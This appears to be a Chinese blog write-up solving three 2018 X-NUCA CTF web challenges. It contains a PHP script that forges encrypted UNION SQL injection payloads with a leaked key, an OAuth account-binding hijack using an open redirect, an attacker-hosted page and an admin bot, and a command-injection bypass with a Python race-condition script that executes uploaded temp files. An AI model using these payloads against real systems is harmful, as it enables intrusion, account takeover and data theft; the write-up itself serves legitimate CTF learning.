1. 程式人生 > >CTF-WEB 2018 X-NUCA

CTF-WEB 2018 X-NUCA

1、題目名code check

上去看是一個登陸的介面,robots 原始碼洩露什麼的都沒有,發現通知頁有帶有引數的url:

http://47.107.236.42:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09

不過跑sqlmap沒用,但是有一個提醒,說看起來是base64編碼,但是直接解碼什麼也看不出來。

好奇心隨意點上一層目錄 結果http://47.107.236.42:49882/news可以下載原始碼 這裡使用御劍也可以掃描出來

下載得到原始碼,獲取了id的解密方法

就是一個CBC,先是兩次base64解密,然後在CBC解密。直接換個函式,將mdecrypt_generic換為mcrypt_generic就是加密函式,直接在原版函式上更改一下,變為加密解密函式

使用sql注入,需要使用CBC加密之後傳入給id=》$re = decode($ori,1);

$ori = "2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata# "."hxb2018";

$ori = "2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'# "."hxb2018";

$ori = "2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='notice2'# "."hxb2018";

$ori = "2 union select 1,2,group_concat(title),4 from notice2# "."hxb2018";

我還是貼上程式碼吧,使用的一個線上php平臺很好用的,大家可以用它練習http://www.dooccn.com/php/

<?php

//裡面有加密解密 當初用來驗證來著
function decode($data,$type){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	if($type==0) //0 解密
    {
    	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
    	mcrypt_generic_deinit($td);
    	mcrypt_module_close($td);
    	if(substr(trim($data),-7)!=='hxb2018'){
    		echo '<script>window.location.href="/index.php";</script>';
    	}else{
    		# return substr(trim($data),0,strlen(trim($data))-7);
    		return rtrim($data);
    	}
	}
	else  //1 加密
	{
	    echo $data."\n";
	    $data = mcrypt_generic($td,$data);
	    echo $data."\n";
    	mcrypt_generic_deinit($td);
    	mcrypt_module_close($td);
    	return base64_encode(base64_encode($data));
	}
} 


$id="b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09";

//下面是執行的語句
//$ori = "1 union select 1,2,*,4 from test# "."hxb2018";  
//$ori = "2 union select 1,2,group_concat(title),4 from notice2# "."hxb2018";  
$ori = "2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='notice2'# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata# "."hxb2018";
$re = decode($ori,1);
//' union select database()# 
echo $re."\n";

$res = decode($re,0);
echo $res;
?>

最後我還要囉嗦兩句,關於sql注入的concat group_concat sunstr limit等這些函式和關鍵字 意義其實非常大,無論是一個一個字元的爆破,還是因為顯示位置不全需要使用組合函式。

 

2 題目名 Blog  連結:https://www.jianshu.com/p/bc106f7147b1

這裡我只是一個簡單敘述原理,關於引數獲取這個由於題目關閉,大家還是看看原文的吧

該題目已經提示了 使用的提示了第三方登入認證方式是OAuth2.0,類似於微信qqq快捷登入一樣的東西,在網上查到不少的利用方式

本題目的第三方登入視窗是這樣的

存在的問題是OAuth2.0的一個快捷登入授權劫持問題,問題出現的本質是帳號可重複繫結不同的第三方郵箱,所以讓admin繫結上我們註冊的郵箱,通過第三方郵箱登入admin帳號即可得到flag。

原理:一個使用者繫結郵箱時,根據在更改繫結頁面填寫的資訊,伺服器會生成一個state和code進行認證,即只要state和code正確,即可繫結成功,並不校驗繫結的賬戶是什麼。所以我們的方法是在繫結時擷取流量中的這條帶有state和code引數的url,然後在提交bug的位置讓管理員機器人去訪問,從而使得管理員綁定了我們的郵箱,登入賬號之後就可以得到flag。

不過這裡有長度要去,所以只能採用跳轉了

由於http://106.75.66.211:8000/main/login?next=/main/login 處存在重定向,所以我們可以通過重定向跳轉到vps上,即http://106.75.66.211:8000/main/login?next=[your_ip] 在vps上寫一個跳轉頁面

<html>
  <script>
    window.open('http://106.75.66.211:8000/main/oauth/?state=9PKyRdpU5D&code=Y5WjDdELjUMGaJpbYfs9lOPBtgEvrOOvZxmmwZsj')
  </script>
</html>

將vps跳轉頁面地址壓縮成短鏈(推薦個短鏈生成地址:https://bitly.com),提交bug,最終提交Url為:http://106.75.66.211:8000/main/login?next=https://bit.ly/2Qiixxx 等待bot訪問後利用第三方郵箱登入

 

3.題目名 ezdotso

這個題目剛開始看起來怪嚇人的,有一個.so檔案,就是linux的連結庫檔案,登陸網頁又有一個原始碼

<?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){  //是否存在action變數
    switch($action){  //判斷action變數內容
        case "php_info":  //如果是php_info
        echo call_user_func_array("php_info",$param);
        break;
        case "cmd":  //如果是cmd
        if(isset($cmd)){
            if(is_string($cmd)){
                if (strlen($cmd)>9){  //如果長度大於9
                    die();
                }
                $pat1 = "/[^0-9a-zA-Z \/\*]/";
                if (preg_match($pat1, $cmd)>0){  //如果滿足該正則失敗
                    die();
                }
                $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
                if (preg_match($pat2, $cmd)==0){  //如果不滿足該正則 失敗
                    die();
                }
                system("busybox " . $cmd);  //使用busybox執行我們的shell命令了
            }
        } 
        break;
        default:
        echo call_user_func_array("hello",$param);  //預設的case 顯示hello資訊
        break;
    }
}else{
    show_source(__FILE__);
}

那麼我們就看這三條件吧,首先我們要使用cmd命令

  • 其命令串必須長度小於9
  • 滿足正則,所有的字元必須在[0-9a-zA-Z \/\*]字符集中
  • 滿足正則“部分1 部分2”兩者以空格分開,部分1由[a-zA-Z]組成,部分2在此基礎上可以有數字和/*兩個字元

那就限制了我們可以使用的命令,舉個簡單的例子“ls”肯定是不行,因為第三個條件就過不去,但ls /home是可以的

這個題目在根目錄下使用ls /就可以發現flag檔案,直接?action=cmd&cmd=cat /flag就可以得到flag

這裡需要強調的是這個匹配[^0-9a-zA-Z \/\*] 我們知道[a-z]表示的是a-z字符集,而[^a-z]匹配的則是任何不在a-z之內的字元,^表示非的意思,演示如下:

        

說明我們的所有字元必須都在[0-9a-zA-Z \/\*]之中,不在之內的都會被匹配出來導致第二個條件失敗,而第二個正則還是如上所說。

當然這個只是一個取巧的,這正做的還的是這一個

2018 X-NUCA ezdotso 條件競爭解法  來自https://xz.aliyun.com/t/3476

通過cmd=ls /h*/* 可以發現有個readflag 程式,所以思路比較清晰了執行readflag 就能拿到flag了。
可以通過busybox /h*/r* 但是這樣不滿足正則。陷入僵局。
php上傳產生的臨時檔案再次發揮了作用
php在上傳檔案的時候會在/tmp/ 資料夾下面生成/tmp/phpxxxxxx 檔案,所以我們可以在上傳的同時去執行
sh /t*/p* 剛好9個字元。

import requests
import threading
import os

url = "http://u.cn:3423"

payload = "sh /t*/p*"
assert(len(payload)<10)
params = {"action":"cmd", "cmd":payload}
files = {"hhh":"cat /var/www/html/index.php"}

def go():
    r = requests.post(url, params=params, files=files)
    #print(repr(r.text))
    if "0<br>1<br>" != r.text:
        print(r.text)
        os._exit(0)


def upload():
    r = requests.post(url, files=files)

while True:
    t = threading.Thread(target=go, args=())
    t.start()
    #t = threading.Thread(target=upload, args=())
    #t.start()

 

還有有關使用的

https://www.cnblogs.com/niuni-623/p/6520680.html

http://tool.oschina.net/regex

https://www.cn-space.com/2018/11/27/1/

https://xz.aliyun.com/t/3428